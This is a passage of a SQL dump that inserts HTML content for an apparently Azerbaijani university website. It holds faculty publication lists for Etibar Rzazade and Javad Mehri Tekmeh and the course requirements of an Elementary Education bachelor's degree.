style=\"background:undefined \">Глобализация и энергия</p></td><td width=\"91\"><p style=\"background:undefined \">Book</p></td><td width=\"95\"><p style=\"background:undefined \">F/Aliyev, R/ Osmanzade,&nbsp;Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Baku, Azerbaijan</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">64</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Лепестки (сборник)</p></td><td width=\"91\"><p style=\"background:undefined \">Book(as editor)</p></td><td width=\"95\"><p style=\"background:undefined \">I.Q. Aliyev</p></td><td width=\"102\"><p style=\"background:undefined \">Perm, Russia</p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"60\"><p style=\"background:undefined \">111</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Computer network,&nbsp;gathering and analysis of ecoenergetic parameters of&nbsp;Azerbaijan Republic</p></td><td width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"95\"><p style=\"background:undefined \">Aliev F.G.</p><p style=\"background:undefined \">N.A. Safarov</p><p style=\"background:undefined \">Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Baku,&nbsp;&nbsp;Azerbaijan,<strong></strong></p></td><td width=\"60\"><p style=\"background:undefined \">2005<strong></strong></p></td><td width=\"60\"><p style=\"background:undefined \">p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"95\"><p style=\"background:undefined \">E.M.Rzazadeh&nbsp;N.A. Safarov</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>2006</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"95\"><p style=\"background:undefined \">N.A. Safarov</p><p style=\"background:undefined \">E.M.Rzazadə</p><p style=\"background:undefined \">İ.Q.Əliyev</p></td><td width=\"102\"><p style=\"background:undefined \">Baku,&nbsp;Azerbaijan,Fizika&nbsp;I.</p></td><td width=\"60\"><p style=\"background:undefined \">2008</p></td><td width=\"60\"><p style=\"background:undefined \">C.&nbsp;ХIV&nbsp;№3,&nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Basic construction for solar power plants.</p></td><td width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"95\"><p style=\"background:undefined \">F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p style=\"background:undefined \">Baku</p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"60\"><p style=\"background:undefined \">p.93-96</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Controlling system for emotional state of working personnel</p></td><td width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"95\"><p style=\"background:undefined \">N.A. Safarov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;I.Q. Aliev&nbsp;&nbsp;H.G.Hassanov</p></td><td width=\"102\"><p style=\"background:undefined \">Lefkosa, TR Northern Cyprus</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"60\"><p style=\"background:undefined \">2011</p></td><td width=\"60\"><p style=\"background:undefined \">in processing</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Mod of thought and computing cognitition</p></td><td width=\"91\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"95\"><p style=\"background:undefined \">E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Baku,&nbsp;Azerbaijan,Philosophy and social-political sciences</p></td><td width=\"60\"><p style=\"background:undefined \">2004</p></td><td width=\"60\"><p style=\"background:undefined \">p.84-94</p></td></tr><tr><td width=\"31\"><p style=\"background:undefined \">11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p style=\"background:undefined \">Компьютерное мышление и программирование</p></td><td width=\"91\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"95\"><p style=\"background:undefined \">КR.M.Osmanzade,E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p style=\"background:undefined \">Baku,&nbsp;&nbsp;Azerbaijan, “Философия и миропознание”</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"60\"><p style=\"background:undefined \">102-123</p></td></tr></tbody></table></div><br></div>'),(1299,830,'en','Etibar Rzazade','Etibar Rzazade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"95\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp;&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Introduction to computer science</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>Rzazade E.M.&nbsp;&nbsp;L.G. Muradkhanova</p></td><td width=\"102\"><p>Baku,Khazar University Press</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>155</p></td></tr><tr><td width=\"31\"><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерная Глобалистика</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>R.M.Osmanzade ,Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>227</p></td></tr><tr><td width=\"31\"><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Глобализация и энергия</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>F/Aliyev, R/ Osmanzade,&nbsp;Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>64</p></td></tr><tr><td width=\"31\"><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Лепестки (сборник)</p></td><td width=\"91\"><p>Book(as editor)</p></td><td width=\"95\"><p>I.Q. Aliyev</p></td><td width=\"102\"><p>Perm, Russia</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>111</p></td></tr><tr><td width=\"31\"><p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Computer network,&nbsp;gathering and analysis of ecoenergetic parameters of&nbsp;Azerbaijan Republic</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Aliev F.G.</p><p>N.A. Safarov</p><p>Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan,<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A. Safarov</p><p>E.M.Rzazadə</p><p>İ.Q.Əliyev</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Fizika&nbsp;I.</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>C.&nbsp;ХIV&nbsp;№3,&nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Basic construction for solar power plants.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.93-96</p></td></tr><tr><td width=\"31\"><p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Controlling system for emotional state of working personnel</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;I.Q. Aliev&nbsp;&nbsp;H.G.Hassanov</p></td><td width=\"102\"><p>Lefkosa, TR Northern Cyprus</p><p>&nbsp;</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>in processing</p></td></tr><tr><td width=\"31\"><p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Mod of thought and computing cognitition</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Philosophy and social-political sciences</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>p.84-94</p></td></tr><tr><td width=\"31\"><p>11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерное мышление и программирование</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>КR.M.Osmanzade,E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan, “Философия и миропознание”</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>102-123</p></td></tr></tbody></table>  <br></div>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1302,832,'en','Bachelor of Science Degree in Elementary Education','Bachelor of Science Degree in Elementary Education','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor of Science Degree in Elementary Education</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The Bachelor of Science degree program in Elementary Education is to a certain extent an interdepartmental program that involves the Department of Elementary Education and other departments in Sciences, Humanities and Social Sciences.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The program is based on professional knowledge and skills in classroom teaching with a diversity of teaching methods. Internships form a necessary part of the program, and students are given an opportunity for practicum and internship at \"Dunya\" Lab School and/or other schools.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">In their final year, students are required to take a year-long internship in the affiliated “Dunya” School or another school with elementary classes approved by the Department of Elementary Education. The internship is divided into three phases. In the first phase, in practicum, the students attend elementary school classes to observe and assess the teaching process. In the second phase, they get involved in teaching various subjects in rotation, with full duties of elementary school teachers and with concentration on current teaching issues under the supervision of master teachers. In the final phase, they must write a substantial research paper on their experience and results of their internship.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The School of Education and Department of Elementary Education reserve the right to be selective in admitting students to practicum and internships on the basis of the academic standing of the student and other criteria.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"156\"><strong>&nbsp; Code</strong></td><td width=\"228\"><strong>Courses</strong></td><td colspan=\"2\" width=\"108\"><strong>Credits</strong></td></tr><tr><td colspan=\"4\" width=\"432\"><strong>University Requirements</strong></td><td width=\"60\">27</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>General Education Requirements</strong></td><td width=\"60\">21</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Major Requirements&nbsp;&nbsp;</strong></td><td width=\"60\"><em>84</em></td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Core Courses</strong></td><td width=\"60\">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; 33</td></tr><tr><td colspan=\"2\" width=\"156\">EDU101</td><td colspan=\"2\" width=\"276\">Introduction to Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">AZLL 102</td><td colspan=\"2\" width=\"276\">Introduction to Writing</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">SPH 202</td><td colspan=\"2\" width=\"276\">Basics of Speech Habits</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">PSYC 101</td><td colspan=\"2\" width=\"276\">Introduction to Psychology, Child Development</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">PSYC 304</td><td colspan=\"2\" width=\"276\">Basics of Educational Psychology</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">LIT 201</td><td colspan=\"2\" width=\"276\">World Children Literature</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 302</td><td colspan=\"2\" width=\"276\">Curriculum and Assessment Strategies</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 468</td><td colspan=\"2\" width=\"276\">Historical and Philosophical Foundations of Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">ART 231</td><td colspan=\"2\" width=\"276\">Painting and Art Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">MATH 223</td><td colspan=\"2\" width=\"276\">Mathematics for Elementary Teachers I</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">MATH 224</td><td colspan=\"2\" width=\"276\">Mathematics for Elementary Teachers II</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\"><strong>&nbsp;Elective</strong></td><td width=\"60\"><em>6</em></td></tr><tr><td colspan=\"2\" width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">Computer in Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 203</td><td colspan=\"2\" width=\"276\">Bilingual Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 217</td><td colspan=\"2\" width=\"276\">Special Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">GEOG 201</td><td colspan=\"2\" width=\"276\">World Regional Geography</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 496</td><td colspan=\"2\" width=\"276\">Classroom Management</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">DESN 201</td><td colspan=\"2\" width=\"276\">Graphic Design</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">Other</td><td width=\"60\">3</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Methods of Teaching</strong></td><td width=\"60\">18</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 311</td><td colspan=\"2\" width=\"276\">Games in Elementary and Middle Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 327</td><td colspan=\"2\" width=\"276\">Elementary Mathematics Education</td><td width=\"60\">3&nbsp;</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 329</td><td colspan=\"2\" width=\"276\">Elementary Science Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 328</td><td colspan=\"2\" width=\"276\">Elementary Social Studies Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 350</td><td colspan=\"2\" width=\"276\">Elementary Health and Physical Education</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 322</td><td colspan=\"2\" width=\"276\">Integrated Language and Literacy</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 381</td><td colspan=\"2\" width=\"276\">Elementary School Music Methods</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU 495</td><td colspan=\"2\" width=\"276\">Principles and Methods of&nbsp; Instruction</td><td width=\"60\">3</td></tr><tr><td colspan=\"2\" width=\"156\">EDU403</td><td colspan=\"2\" width=\"276\">Methods of Teaching&nbsp; Mother Tongue</td><td width=\"60\">3</td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Practicum and Internship</strong></td><td width=\"60\">21</td></tr><tr><td colspan=\"5\" width=\"492\"><p>Generally 9 credits for practicum, 12 credits for internship. However, the Department of Elementary Education reserves the right to offer another distribution of credits for this last period of study.</p></td></tr><tr><td colspan=\"4\" width=\"432\"><strong>Open Electives</strong></td><td width=\"60\">6</td></tr><tr><td width=\"96\">&nbsp;</td><td colspan=\"3\" width=\"336\">Elective 1</td><td width=\"60\">3</td></tr><tr><td width=\"96\">&nbsp;</td><td colspan=\"3\" width=\"336\">Elective 2</td><td width=\"60\">3</td></tr><tr><td width=\"96\"><strong>TOTAL</strong></td><td colspan=\"3\" width=\"336\">&nbsp;</td><td width=\"60\">132</td></tr></tbody></table><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><em>The Earth and Space Science course is recommended in the&nbsp;<strong>Physical Sciences and Mathematics</strong>&nbsp;module for the program in Elementary Education.</em></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><em>Note:</em></strong><em>&nbsp;The school may also offer alternative courses to those listed above.</em></p>  <br></div>'),(1300,831,'en','Javad Mehri Tekmeh','Javad Mehri Tekmeh','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>• Refereed Journal Papers:</strong></p><p><br>– Morowati Shalilvand, S., and Mehri-Tekmeh, J. An extended origin-based methodfor solving capacitated traffic assignment problem. Acta Universitatis Apulensis 35(2013), 169–186.</p><p>– Rezaeiniya, N., Ghadikolaei, A. S., Mehri-Tekmeh, J., and Rezaeiniya, H. Fuzzyanp approach for new application: Greenhouse location selection; a case in iran.Journal of mathematics and computer Science 8 (2014), 1–20.</p><p>– Bakhtiari, A., Navid, H., Mehri, J., Berruto, R., and Bochtis, D. D. Operationsplanning for agricultural harvesters using ant colony optimization. Spanish Journalof Agricultural Research 11, 3 (2013), 652–660.</p><p>– Saee Bostanabad, M., Mehri-Tekmeh, J., Mirnia, M., and Dehkharghani, A. M.The system optimization perspective for multiproduct supply chain network. AnInternational Journal of Optimization and Control: Theories &amp; Applications 3, 2 (2013),153–159.</p><p>– Saee Bostanabad, M., Mehri-Tekmeh, J., and Dehkharghani, A. M. Equity in multiproductsupply chain network. An International Journal of Optimization and Control:Theories &amp; Applications 3, 1 (2013), 65–71.</p><p>– Morowati, S., and Mehri-Tekmeh, J. Finding most vital links over time in a flownetwork. An International Journal of Optimization and Control: Theories &amp; Applications2, 2 (2012), 173–186.</p><p>– Bakhtiari, A. A., Navid, H., Mehri-Tekmeh, J., and Bochtis, D. D. Optimal routeplanning of agricultural field operations using ant colony optimization. AgriculturalEngineering International: CIGR Journal 13, 4 (2011).</p><p>– Mehri-Tekmeh, J., Mirnia, M., and Sheikholeslami, S. M. 3-tuple domination numberin complete grid graphs. International Mathematical Forum 1, 23 (2006), 1099–1112.</p><p>– Mehri-Tekmeh, J., and Isazadeh, A. A graph theoretic semantics for viewcharts.International Mathematical Forum 1, 22 (2006), 1077–1098.</p><p>– Isazadeh, A., Toomanian, M., and Mehri-Tekmeh, J. Viewgraph: An extension tograph theory. International Mathematics Journal 2, 10 (2002), 957–969.</p><p>&nbsp;</p><p><strong>• Refereed Conference Papers:</strong></p><p><br>– Bostanabad, M. S., Mehri-Tekmeh, J., and Mirnia, M. The system optimizationperspective for multiproduct supply chain network. In Proceedings of The 43rdAnnual Iranian Mathematics Conference (Tabriz, Iran, 2012), pp. 1341–1343.</p><p>– Bostanabad, M. S., Mehri-Tekmeh, J., and Dehkharghani, A. M. Equity in multiproductsupply chain network. In Proceedings of The 43rd Annual Iranian MathematicsConference (Tabriz, Iran, 2012), pp. 902–904.</p><p>– Abbasnezhad, N., Hajizadeh, R., and Mehri-Tekmeh, J. Robust model for maximumflow problem over time. In Proceedings of The 43rd Annual Iranian MathematicsConference (Tabriz, Iran, 2012), pp. 165–168. (In persian).</p><p>– Mehri-Tekmeh, J., Ghadikolaei, A. S., and Rezaeinia, N. A fuzzy ahp approach forprioritizing indicators and sub-indicators for greenhouse locating. In proceedingsof the 2011 IEEE international conference on industrial engineering and management(China, 2011).</p><p>– Aghdaie, M. H., Zolfani, S. H., Rezaeinia, N., and Mehri-Tekmeh, J. A hybrid fuzzymcdm approach for market segments evaluation and selection. In proceedingsof the 2011 IEEE international conference on industrial engineering and management(China, 2011).</p><p>– Morowati, S., and Mehri-Tekmeh, J. An extended origin-based method for solvingcapacitated traffic 